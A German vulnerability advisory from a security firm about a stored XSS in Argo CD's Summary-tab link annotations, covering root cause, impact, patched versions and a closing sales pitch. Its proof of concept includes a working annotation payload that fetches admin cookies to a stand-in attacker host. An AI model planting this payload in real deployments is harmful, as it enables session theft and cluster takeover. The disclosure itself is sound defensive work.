Argo CD: Stored XSS über Link-Annotationen
Stored XSS in der Argo-CD-UI: Eine Link-Annotation eskaliert einen Application-Owner zum Cluster-Admin.
Advisory-ID: TP-2026-002
Produkt: Argo CD (GitOps-Controller für Kubernetes)
Schwachstellentyp: Stored Cross-Site-Scripting (CWE-79)
CVE: CVE-2026-45738
CVSS 3.1: 7.3 (Hoch) · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Betroffene Versionen: < 3.0.0
Gepatcht in: 3.2.12, 3.3.10, 3.4.2
Hersteller-Advisory: GHSA-h98r-wv3h-fr38
Gemeldet: 24. April 2026
Zusammenfassung
Argo CD rendert Link-Annotationen der Form link.argocd.argoproj.io/<name> im Summary-Tab der UI als anklickbare Verweise. Die zuständige React-Komponente validiert das Ziel nicht: Der Annotation-Wert wird am Pipe-Zeichen gesplittet und der Teil nach dem | direkt in ein href-Attribut geschrieben. Ein javascript:-Schema wird nicht blockiert. Da ein Application-Owner Annotationen setzen kann und ein Admin sie später angezeigt bekommt, eskaliert die Stored XSS zum vollen Cluster-Admin über die Argo-CD-API.
Ursache
Die Summary-Tab-Komponente splittet den Annotation-Wert am | und schreibt parts[1] ungeprüft in ein <a href target='_blank'> (ui/src/app/applications/components/application-summary/application-summary.tsx:277). Die Schwester-Komponente ExternalLink (application-urls.tsx) ruft vor dem Rendern isValidURL() auf, der Summary-Tab-Pfad überspringt diese Prüfung. Argo CD bündelt React 16.9.3, das javascript:-URLs in href nicht blockiert (erst React 19 tut dies). Die Content-Security-Policy definiert nur frame-ancestors 'self', ohne script-src oder default-src, sodass ein ausgeführtes javascript:-Schema keinerlei Einschränkung erfährt. Jeder Nutzer mit Schreibrecht auf eine Application setzt die Annotation; sie wird ausgeführt, sobald ein Admin den Summary-Tab öffnet und den Link anklickt.
Proof of Concept
Ein Entwickler mit Schreibrechten auf eine Application setzt eine Link-Annotation mit harmlosem Linktext und einem javascript:-Ziel:
metadata:
annotations:
link.argocd.argoproj.io/runbook: "Runbook ansehen|javascript:fetch('https://attacker.example/x?c='+document.cookie)"
Der Wert wird am Pipe-Zeichen gesplittet: Runbook ansehen wird zum sichtbaren Linktext, der Teil nach dem | landet ungeprüft im href-Attribut. Sobald ein Admin den Summary-Tab der Application öffnet und auf den Link klickt, läuft der Payload im Origin-Kontext der Argo-CD-Domain mit der vollen Admin-Session. Die Annotation persistiert in der Kubernetes Custom Resource. Ein git-revert allein entfernt sie nicht.
Auswirkung
- Skriptausführung in der Session jedes Admins oder Operators, der die Application im Summary-Tab öffnet.
- Privilegieneskalation vom Application-Owner zum Cluster-Admin über die ungeschützte Argo-CD-API.
- Das
javascript:-Ziel ist unsichtbar; das Opfer sieht nur den vom Angreifer gewählten Linktext. - Der Payload persistiert in der Kubernetes Custom Resource, bis die Annotation entfernt wird.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team in einem Source-Code-Review gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
